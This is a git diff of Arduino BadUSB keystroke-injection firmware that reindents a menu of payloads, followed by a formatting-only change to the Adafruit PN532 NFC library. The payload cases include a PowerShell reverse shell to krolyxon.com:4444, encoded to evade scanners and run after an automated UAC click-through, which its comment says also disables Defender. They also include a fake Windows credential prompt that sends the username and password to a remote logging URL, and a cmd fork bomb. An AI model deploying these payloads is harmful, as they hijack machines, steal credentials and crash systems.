+        for (int i = 0; i < 15; i++) {
+            typeSlow("######### ORION-RF #########");
+            Keyboard.write(KEY_RETURN);
+
+            typeSlow(">>> SIGNAL ACQUIRED <<<");
+            Keyboard.write(KEY_RETURN);
+
+            typeSlow("[|||||||||||||||||||||||||]");
+            Keyboard.write(KEY_RETURN);
+
+            Keyboard.write(KEY_RETURN);
+        }
+
+        break;
+
+    // ================= HACKER TYPER =================
+    case 9:
+        showRunningScreen("Hacker Typer");
+
+        runCommand("cmd");
+
+        delay(700);
+
+        typeSlow("start https://hackertyper.net/");
+        Keyboard.write(KEY_RETURN);
+
+        break;
+        // ================= POWERSHELL REVERSE SHELL =================
+        // ================= DEFENDER BYPASS + NC =================
+    case 10:
+        showRunningScreen("Pwn Mode v2");
+
+        // 1. Open Admin PowerShell
+        Keyboard.press(KEY_LEFT_GUI);
+        Keyboard.press('r');
+        delay(150);
+        Keyboard.releaseAll();
+        delay(500);
+
+        // Open Admin Prompt - using 'powershell' directly to save space
+        typeSlow("powershell Start-Process powershell -Verb runAs");
+        Keyboard.write(KEY_RETURN);
+        delay(2500); // Wait for UAC
+
+        // 2. Bypass UAC (Left Arrow + Enter)
+        Keyboard.write(KEY_LEFT_ARROW);
+        delay(200);
+        Keyboard.write(KEY_RETURN);
+        delay(3000); // Give the Admin window time to load
+
+        // 3. AMSI Bypass + Disable Defender + Execute Shell
+        // We use -EncodedCommand to hide the script from simple string
+        // scanners. The Base64 string below contains: Set-MpPreference
+        // -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
+
+        typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
+                 "-EncodedCommand ");
+
+        // This is the encoded payload for krolyxon.com:4444
+        typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A"
+                 "FMAdAByAG"
+                 "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA"
+                 "2ADQAUwB0"
+                 "AHIAaQBuAGcAKAAiAEgA"
+                 "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA"
+                 "cwB0AGUAb"
+                 "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC"
+                 "gAJwBrAHI"
+                 "AbwBsAHkAeABvAG4A"
+                 "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA"
+                 "GMAbABpAG"
+                 "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB"
+                 "dACQAYgB5"
+                 "AHQAZQBzACAAPQA"
+                 "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA"
+                 "aQAgAD0AI"
+                 "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC"
+                 "wAIAAkAGI"
+                 "AeQB0AGUAcwAuAEw"
+                 "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9"
+                 "ACAAKABOA"
+                 "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw"
+                 "B0AGUAbQA"
+                 "uAFQAZQB4AHQAL"
+                 "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG"
+                 "4AZwAoACQ"
+                 "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg"
+                 "AD0AIAAoA"
+                 "GkAZQB4ACAAJAB"
+                 "kAGEAdABhACAAMgA+"
+                 "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ"
+                 "ABiAGEAYw"
+                 "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA"
+                 "gACsAK"
+                 "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG"
+                 "IAeQB0AGU"
+                 "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT"
+                 "AEMASQBJA"
+                 "CkALgBHAGUAd"
+                 "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG"
+                 "UAYQBhAG0"
+                 "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu"
+                 "AGQAYgB5A"
+                 "HQAZQAuAEwAZQB"
+                 "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA"
+                 "JABjAGwAa"
+                 "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA"
+                 "BwAHIAZQB"
+                 "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA"
+                 "bwBkAGkAb"
+                 "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF"
+                 "QAbwBBAHI"
+                 "AcgBhAHkAKAApACkAKQA=");
+
+        Keyboard.write(KEY_RETURN);
+        break;
+    // ================= CREDENTIAL SNATCHER =================
+    case 11:
+        showRunningScreen("Vault Crack");
+
+        // Open hidden PowerShell
+        runCommand(
+            "powershell -nop -W Hidden -c \"$cred = "
+            "$host.ui.PromptForCredential('Windows Security','Please "
+            "authenticate "
+            "to update your system credentials.','',''); $p = "
+            "$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
+            "Invoke-WebRequest -Uri "
+            "'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
+
+        break;
+        // ================= DESKTOP GHOST =================
+    case 12:
+        showRunningScreen("Ghost Mode");
+
+        runCommand(
+            "powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
+            "System.Windows.Forms; "
+            "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
+            "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
+            "-Format Image).Save($path); Set-ItemProperty -Path "
+            "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
+            "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
+
+        // Hide Desktop Icons (requires a registry tweak)
+        typeSlow(
+            "reg add "
+            "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
+            "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
+            "explorer.exe && start explorer.exe");
+        Keyboard.write(KEY_RETURN);
+
+        break;
+        // ================= FORK BOMB =================
+    case 13:
+        showRunningScreen("System Stress");
+
+        runCommand("cmd");
+        delay(500);
+
+        // The shortest deadly command in Windows
+        typeSlow("%0|%0");
+        Keyboard.write(KEY_RETURN);
+
+        break;
     }
-
-    break;
-
-  // ================= HACKER TYPER =================
-  case 9:
-    showRunningScreen("Hacker Typer");
-
-    runCommand("cmd");
-
-    delay(700);
-
-    typeSlow("start https://hackertyper.net/");
-    Keyboard.write(KEY_RETURN);
-
-    break;
-    // ================= POWERSHELL REVERSE SHELL =================
-    // ================= DEFENDER BYPASS + NC =================
-  case 10:
-    showRunningScreen("Pwn Mode v2");
-
-    // 1. Open Admin PowerShell
-    Keyboard.press(KEY_LEFT_GUI);
-    Keyboard.press('r');
-    delay(150);
-    Keyboard.releaseAll();
-    delay(500);
-
-    // Open Admin Prompt - using 'powershell' directly to save space
-    typeSlow("powershell Start-Process powershell -Verb runAs");
-    Keyboard.write(KEY_RETURN);
-    delay(2500); // Wait for UAC
-
-    // 2. Bypass UAC (Left Arrow + Enter)
-    Keyboard.write(KEY_LEFT_ARROW);
-    delay(200);
-    Keyboard.write(KEY_RETURN);
-    delay(3000); // Give the Admin window time to load
-
-    // 3. AMSI Bypass + Disable Defender + Execute Shell
-    // We use -EncodedCommand to hide the script from simple string scanners.
-    // The Base64 string below contains:
-    // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic]
-
-    typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden "
-             "-EncodedCommand ");
-
-    // This is the encoded payload for krolyxon.com:4444
-    typeSlow(
-        "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG"
-        "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0"
-        "AHIAaQBuAGcAKAAiAEgA"
-        "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb"
-        "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI"
-        "AbwBsAHkAeABvAG4A"
-        "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG"
-        "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5"
-        "AHQAZQBzACAAPQA"
-        "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI"
-        "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI"
-        "AeQB0AGUAcwAuAEw"
-        "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA"
-        "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA"
-        "uAFQAZQB4AHQAL"
-        "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ"
-        "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA"
-        "GkAZQB4ACAAJAB"
-        "kAGEAdABhACAAMgA+"
-        "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw"
-        "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK"
-        "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU"
-        "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA"
-        "CkALgBHAGUAd"
-        "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0"
-        "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A"
-        "HQAZQAuAEwAZQB"
-        "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa"
-        "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQB"
-        "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAb"
-        "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAFQAbwBBAHI"
-        "AcgBhAHkAKAApACkAKQA=");
-
-    Keyboard.write(KEY_RETURN);
-    break;
-  // ================= CREDENTIAL SNATCHER =================
-  case 11:
-    showRunningScreen("Vault Crack");
-
-    // Open hidden PowerShell
-    runCommand(
-        "powershell -nop -W Hidden -c \"$cred = "
-        "$host.ui.PromptForCredential('Windows Security','Please authenticate "
-        "to update your system credentials.','',''); $p = "
-        "$cred.GetNetworkCredential().Password; $u = $cred.UserName; "
-        "Invoke-WebRequest -Uri 'http://krolyxon.com/log?u='+$u+'&p='+$p\"");
-
-    break;
-    // ================= DESKTOP GHOST =================
-  case 12:
-    showRunningScreen("Ghost Mode");
-
-    runCommand("powershell -nop -W Hidden -c \"Add-Type -AssemblyName "
-               "System.Windows.Forms; "
-               "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); "
-               "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard "
-               "-Format Image).Save($path); Set-ItemProperty -Path "
-               "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; "
-               "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\"");
-
-    // Hide Desktop Icons (requires a registry tweak)
-    typeSlow("reg add "
-             "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv"
-             "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im "
-             "explorer.exe && start explorer.exe");
-    Keyboard.write(KEY_RETURN);
-
-    break;
-    // ================= FORK BOMB =================
-  case 13:
-    showRunningScreen("System Stress");
-
-    runCommand("cmd");
-    delay(500);
-
-    // The shortest deadly command in Windows
-    typeSlow("%0|%0");
-    Keyboard.write(KEY_RETURN);
-
-    break;
-  }
 }
diff --git a/src/hid/badusb.h b/src/hid/badusb.h
index a3390ec..0b77c2a 100644
--- a/src/hid/badusb.h
+++ b/src/hid/badusb.h
@@ -1,4 +1,5 @@
 #pragma once
+#include <Arduino.h>
 
 void badUSBMenu(int index);
 void showRunningScreen(String taskName, uint8_t duration);
diff --git a/src/libs/Adafruit_PN532.cpp b/src/libs/Adafruit_PN532.cpp
index 4665656..0a547b7 100644
--- a/src/libs/Adafruit_PN532.cpp
+++ b/src/libs/Adafruit_PN532.cpp
@@ -91,9 +91,9 @@ byte pn532_packetbuffer[PN532_PACKBUFFSIZ]; ///< Packet buffer used in various
 /**************************************************************************/
 Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
                                uint8_t ss) {
-  _cs = ss;
-  spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000,
-                                   SPI_BITORDER_LSBFIRST, SPI_MODE0);
+    _cs = ss;
+    spi_dev = new Adafruit_SPIDevice(ss, clk, miso, mosi, 1000000,
+                                     SPI_BITORDER_LSBFIRST, SPI_MODE0);
 }
 
 /**************************************************************************/
@@ -107,9 +107,9 @@ Adafruit_PN532::Adafruit_PN532(uint8_t clk, uint8_t miso, uint8_t mosi,
 /**************************************************************************/
 Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire)
     : _irq(irq), _reset(reset) {
-  pinMode(_irq, INPUT);
-  pinMode(_reset, OUTPUT);
-  i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire);
+    pinMode(_irq, INPUT);
+    pinMode(_reset, OUTPUT);
+    i2c_dev = new Adafruit_I2CDevice(PN532_I2C_ADDRESS, theWire);
 }
 
 /**************************************************************************/
@@ -121,9 +121,9 @@ Adafruit_PN532::Adafruit_PN532(uint8_t irq, uint8_t reset, TwoWire *theWire)
 */
 /**************************************************************************/
 Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) {
-  _cs = ss;
-  spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST,
-                                   SPI_MODE0, theSPI);
+    _cs = ss;
+    spi_dev = new Adafruit_SPIDevice(ss, 1000000, SPI_BITORDER_LSBFIRST,
+                                     SPI_MODE0, theSPI);
 }
 
 /**************************************************************************/
@@ -136,8 +136,8 @@ Adafruit_PN532::Adafruit_PN532(uint8_t ss, SPIClass *theSPI) {
 /**************************************************************************/
 Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer)
     : _reset(reset) {
-  pinMode(_reset, OUTPUT);
-  ser_dev = theSer;
+    pinMode(_reset, OUTPUT);
+    ser_dev = theSer;
 }
 
 /**************************************************************************/
@@ -148,30 +148,30 @@ Adafruit_PN532::Adafruit_PN532(uint8_t reset, HardwareSerial *theSer)
 */
 /**************************************************************************/
 bool Adafruit_PN532::begin() {
-  if (spi_dev) {
-    // SPI initialization
-    if (!spi_dev->begin()) {
-      return false;
-    }
-  } else if (i2c_dev) {
-    // I2C initialization
-    // PN532 will fail address check since its asleep, so suppress
-    if (!i2c_dev->begin(false)) {
-      return false;
+    if (spi_dev) {
+        // SPI initialization
+        if (!spi_dev->begin()) {
+            return false;
+        }
+    } else if (i2c_dev) {
+        // I2C initialization
+        // PN532 will fail address check since its asleep, so suppress
+        if (!i2c_dev->begin(false)) {
+            return false;
+        }
+    } else if (ser_dev) {
+        ser_dev->begin(115200);
+        // clear out anything in read buffer
+        while (ser_dev->available())
+            ser_dev->read();
+    } else {
+        // no interface specified
+        return false;
     }
-  } else if (ser_dev) {
-    ser_dev->begin(115200);
-    // clear out anything in read buffer
-    while (ser_dev->available())
-      ser_dev->read();
-  } else {
-    // no interface specified
-    return false;
-  }
-  reset(); // HW reset - put in known state
-  delay(10);
-  wakeup(); // hey! wakeup!
-  return true;
+    reset(); // HW reset - put in known state
+    delay(10);
+    wakeup(); // hey! wakeup!
+    return true;
 }
 
 /**************************************************************************/
@@ -180,13 +180,13 @@ bool Adafruit_PN532::begin() {
 */
 /**************************************************************************/
 void Adafruit_PN532::reset(void) {
-  // see Datasheet p.209, Fig.48 for timings
-  if (_reset != -1) {
-    digitalWrite(_reset, LOW);
-    delay(1); // min 20ns
-    digitalWrite(_reset, HIGH);
-    delay(2); // max 2ms
-  }
+    // see Datasheet p.209, Fig.48 for timings
+    if (_reset != -1) {
+        digitalWrite(_reset, LOW);
+        delay(1); // min 20ns
+        digitalWrite(_reset, HIGH);
+        delay(2); // max 2ms
+    }
 }
 
 /**************************************************************************/
@@ -195,21 +195,21 @@ void Adafruit_PN532::reset(void) {
 */
 /**************************************************************************/
 void Adafruit_PN532::wakeup(void) {
-  // interface specific wakeups - each one is unique!
-  if (spi_dev) {
-    // hold CS low for 2ms
-    digitalWrite(_cs, LOW);
-    delay(2);
-  } else if (ser_dev) {
-    uint8_t w[3] = {0x55, 0x00, 0x00};
-    ser_dev->write(w, 3);
-    delay(2);
-  }
-
-  // PN532 will clock stretch I2C during SAMConfig as a "wakeup"
-
-  // need to config SAM to stay in Normal Mode
-  SAMConfig();
+    // interface specific wakeups - each one is unique!
+    if (spi_dev) {
+        // hold CS low for 2ms
+        digitalWrite(_cs, LOW);
+        delay(2);
+    } else if (ser_dev) {
+        uint8_t w[3] = {0x55, 0x00, 0x00};
+        ser_dev->write(w, 3);
+        delay(2);
+    }
+
+    // PN532 will clock stretch I2C during SAMConfig as a "wakeup"
+
+    // need to config SAM to stay in Normal Mode
+    SAMConfig();
 }
 
 /**************************************************************************/
@@ -221,18 +221,18 @@ void Adafruit_PN532::wakeup(void) {
 */
 /**************************************************************************/
 void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) {
-  uint32_t szPos;
-  for (szPos = 0; szPos < numBytes; szPos++) {
-    PN532DEBUGPRINT.print(F("0x"));
-    // Append leading 0 for small values
-    if (data[szPos] <= 0xF)
-      PN532DEBUGPRINT.print(F("0"));
-    PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX);
-    if ((numBytes > 1) && (szPos != numBytes - 1)) {
-      PN532DEBUGPRINT.print(F(" "));
+    uint32_t szPos;
+    for (szPos = 0; szPos < numBytes; szPos++) {
+        PN532DEBUGPRINT.print(F("0x"));
+        // Append leading 0 for small values
+        if (data[szPos] <= 0xF)
+            PN532DEBUGPRINT.print(F("0"));
+        PN532DEBUGPRINT.print(data[szPos] & 0xff, HEX);
+        if ((numBytes > 1) && (szPos != numBytes - 1)) {
+            PN532DEBUGPRINT.print(F(" "));
+        }
     }
-  }
-  PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.println();
 }
 
 /**************************************************************************/
@@ -247,24 +247,24 @@ void Adafruit_PN532::PrintHex(const byte *data, const uint32_t numBytes) {
 */
 /**************************************************************************/
 void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) {
-  uint32_t szPos;
-  for (szPos = 0; szPos < numBytes; szPos++) {
-    // Append leading 0 for small values
-    if (data[szPos] <= 0xF)
-      PN532DEBUGPRINT.print(F("0"));
-    PN532DEBUGPRINT.print(data[szPos], HEX);
-    if ((numBytes > 1) && (szPos != numBytes - 1)) {
-      PN532DEBUGPRINT.print(F(" "));
+    uint32_t szPos;
+    for (szPos = 0; szPos < numBytes; szPos++) {
+        // Append leading 0 for small values
+        if (data[szPos] <= 0xF)
+            PN532DEBUGPRINT.print(F("0"));
+        PN532DEBUGPRINT.print(data[szPos], HEX);
+        if ((numBytes > 1) && (szPos != numBytes - 1)) {
+            PN532DEBUGPRINT.print(F(" "));
+        }
     }
-  }
-  PN532DEBUGPRINT.print(F("  "));
-  for (szPos = 0; szPos < numBytes; szPos++) {
-    if (data[szPos] <= 0x1F)
-      PN532DEBUGPRINT.print(F("."));
-    else
-      PN532DEBUGPRINT.print((char)data[szPos]);
-  }
-  PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.print(F("  "));
+    for (szPos = 0; szPos < numBytes; szPos++) {
+        if (data[szPos] <= 0x1F)
+            PN532DEBUGPRINT.print(F("."));
+        else
+            PN532DEBUGPRINT.print((char)data[szPos]);
+    }
+    PN532DEBUGPRINT.println();
 }
 
 /**************************************************************************/
@@ -275,36 +275,36 @@ void Adafruit_PN532::PrintHexChar(const byte *data, const uint32_t numBytes) {
 */
 /**************************************************************************/
 uint32_t Adafruit_PN532::getFirmwareVersion(void) {
-  uint32_t response;
+    uint32_t response;
 
-  pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION;
+    pn532_packetbuffer[0] = PN532_COMMAND_GETFIRMWAREVERSION;
 
-  if (!sendCommandCheckAck(pn532_packetbuffer, 1)) {
-    return 0;
-  }
+    if (!sendCommandCheckAck(pn532_packetbuffer, 1)) {
+        return 0;
+    }
 
-  // read data packet
-  readdata(pn532_packetbuffer, 13);
+    // read data packet
+    readdata(pn532_packetbuffer, 13);
 
-  // check some basic stuff
-  if (0 != memcmp((char *)pn532_packetbuffer,
-                  (char *)pn532response_firmwarevers, 6)) {
+    // check some basic stuff
+    if (0 != memcmp((char *)pn532_packetbuffer,
+                    (char *)pn532response_firmwarevers, 6)) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("Firmware doesn't match!"));
+        PN532DEBUGPRINT.println(F("Firmware doesn't match!"));
 #endif
-    return 0;
-  }
-
-  int offset = 7;
-  response = pn532_packetbuffer[offset++];
-  response <<= 8;
-  response |= pn532_packetbuffer[offset++];
-  response <<= 8;
-  response |= pn532_packetbuffer[offset++];
-  response <<= 8;
-  response |= pn532_packetbuffer[offset++];
-
-  return response;
+        return 0;
+    }
+
+    int offset = 7;
+    response = pn532_packetbuffer[offset++];
+    response <<= 8;
+    response |= pn532_packetbuffer[offset++];
+    response <<= 8;
+    response |= pn532_packetbuffer[offset++];
+    response <<= 8;
+    response |= pn532_packetbuffer[offset++];
+
+    return response;
 }
 
 /**************************************************************************/
@@ -323,46 +323,46 @@ uint32_t Adafruit_PN532::getFirmwareVersion(void) {
 bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
                                          uint16_t timeout) {
 
-  // I2C works without using IRQ pin by polling for RDY byte
-  // seems to work best with some delays between transactions
-  uint8_t SLOWDOWN = 0;
-  if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads
-    SLOWDOWN = 1;
+    // I2C works without using IRQ pin by polling for RDY byte
+    // seems to work best with some delays between transactions
+    uint8_t SLOWDOWN = 0;
+    if (i2c_dev || spi_dev) // SPI and I2C need 1ms slow for page reads
+        SLOWDOWN = 1;
 
-  // write the command
-  writecommand(cmd, cmdlen);
+    // write the command
+    writecommand(cmd, cmdlen);
 
-  // I2C TUNING
-  delay(SLOWDOWN);
+    // I2C TUNING
+    delay(SLOWDOWN);
 
-  // Wait for chip to say its ready!
-  if (!waitready(timeout)) {
-    return false;
-  }
+    // Wait for chip to say its ready!
+    if (!waitready(timeout)) {
+        return false;
+    }
 
 #ifdef PN532DEBUG
-  if (spi_dev == NULL) {
-    PN532DEBUGPRINT.println(F("IRQ received"));
-  }
+    if (spi_dev == NULL) {
+        PN532DEBUGPRINT.println(F("IRQ received"));
+    }
 #endif
 
-  // read acknowledgement
-  if (!readack()) {
+    // read acknowledgement
+    if (!readack()) {
 #ifdef PN532DEBUG
-    PN532DEBUGPRINT.println(F("No ACK frame received!"));
+        PN532DEBUGPRINT.println(F("No ACK frame received!"));
 #endif
-    return false;
-  }
+        return false;
+    }
 
-  // I2C TUNING
-  delay(SLOWDOWN);
+    // I2C TUNING
+    delay(SLOWDOWN);
 
-  // Wait for chip to say its ready!
-  if (!waitready(timeout)) {
-    return false;
-  }
+    // Wait for chip to say its ready!
+    if (!waitready(timeout)) {
+        return false;
+    }
 
-  return true; // ack'd command
+    return true; // ack'd command
 }
 
 /**************************************************************************/
@@ -389,37 +389,37 @@ bool Adafruit_PN532::sendCommandCheckAck(uint8_t *cmd, uint8_t cmdlen,
 */
 /**************************************************************************/
 bool Adafruit_PN532::writeGPIO(uint8_t pinstate) {
-  // uint8_t errorbit;
+    // uint8_t errorbit;
 
-  // Make sure pinstate does not try to toggle P32 or P34
-  pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34);
+    // Make sure pinstate does not try to toggle P32 or P34
+    pinstate |= (1 << PN532_GPIO_P32) | (1 << PN532_GPIO_P34);
 
-  // Fill command buffer
-  pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO;
-  pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins
-  pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI)
+    // Fill command buffer
+    pn532_packetbuffer[0] = PN532_COMMAND_WRITEGPIO;
+    pn532_packetbuffer[1] = PN532_GPIO_VALIDATIONBIT | pinstate; // P3 Pins
+    pn532_packetbuffer[2] = 0x00; // P7 GPIO Pins (not used ... taken by SPI)
 
 #ifdef PN532DEBUG
-  PN532DEBUGPRINT.print(F("Writing P3 GPIO: "));
-  PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX);
+    PN532DEBUGPRINT.print(F("Writing P3 GPIO: "));
+    PN532DEBUGPRINT.println(pn532_packetbuffer[1], HEX);
 #endif
 
-  // Send the WRITEGPIO command (0x0E)
-  if (!sendCommandCheckAck(pn532_packetbuffer, 3))
-    return 0x0;
+    // Send the WRITEGPIO command (0x0E)
+    if (!sendCommandCheckAck(pn532_packetbuffer, 3))
+        return 0x0;
 
-  // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM
-  // 00)
-  readdata(pn532_packetbuffer, 8);
+    // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0F) DATACHECKSUM
+    // 00)
+    readdata(pn532_packetbuffer, 8);
 
 #ifdef PN532DEBUG
-  PN532DEBUGPRINT.print(F("Received: "));
-  PrintHex(pn532_packetbuffer, 8);
-  PN532DEBUGPRINT.println();
+    PN532DEBUGPRINT.print(F("Received: "));
+    PrintHex(pn532_packetbuffer, 8);
+    PN532DEBUGPRINT.println();
 #endif
 
-  int offset = 6;
-  return (pn532_packetbuffer[offset] == 0x0F);
+    int offset = 6;
+    return (pn532_packetbuffer[offset] == 0x0F);
 }
 
 /**************************************************************************/
@@ -437,53 +437,52 @@ bool Adafruit_PN532::writeGPIO(uint8_t pinstate) {
 */
 /**************************************************************************/
 uint8_t Adafruit_PN532::readGPIO(void) {
-  pn532_packetbuffer[0] = PN532_COMMAND_READGPIO;
+    pn532_packetbuffer[0] = PN532_COMMAND_READGPIO;
 
-  // Send the READGPIO command (0x0C)
-  if (!sendCommandCheckAck(pn532_packetbuffer, 1))
-    return 0x0;
+    // Send the READGPIO command (0x0C)
+    if (!sendCommandCheckAck(pn532_packetbuffer, 1))
+        return 0x0;
 
-  // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1
-  // DATACHECKSUM 00)
-  readdata(pn532_packetbuffer, 11);
+    // Read response packet (00 FF PLEN PLENCHECKSUM D5 CMD+1(0x0D) P3 P7 IO1
+    // DATACHECKSUM 00)
+    readdata(pn532_packetbuffer, 11);
 
-  /* READGPIO response should be in the following format:
+    /* READGPIO response should be in the following format:
 
-    byte            Description
-    -------------   ------------------------------------------
-    b0..5           Frame header and preamble (with I2C there is an extra 0x00)
-    b6              P3 GPIO Pins
-    b7              P7 GPIO Pins (not used ... taken by SPI)
-    b8              Interface Mode Pins (not used ... bus select pins)
-    b9..10          checksum */
+      byte            Description
+      -------------   ------------------------------------------
+      b0..5           Frame header and preamble (with I2C there is an extra
+      0x00) b6              P3 GPIO Pins b7              P7 GPIO Pins (not used
+      ... taken by SPI) b8              Interface Mode Pins (not used ... bus
+      select pins) b9..10          checksum */
 
-  int p3offset = 7;
+    int p3offset = 7;
 
 #ifdef PN532DEBUG
-  PN532DEBUGPRINT.print(F("Received: "));
-  PrintHex(pn532_packetbuffer, 11);
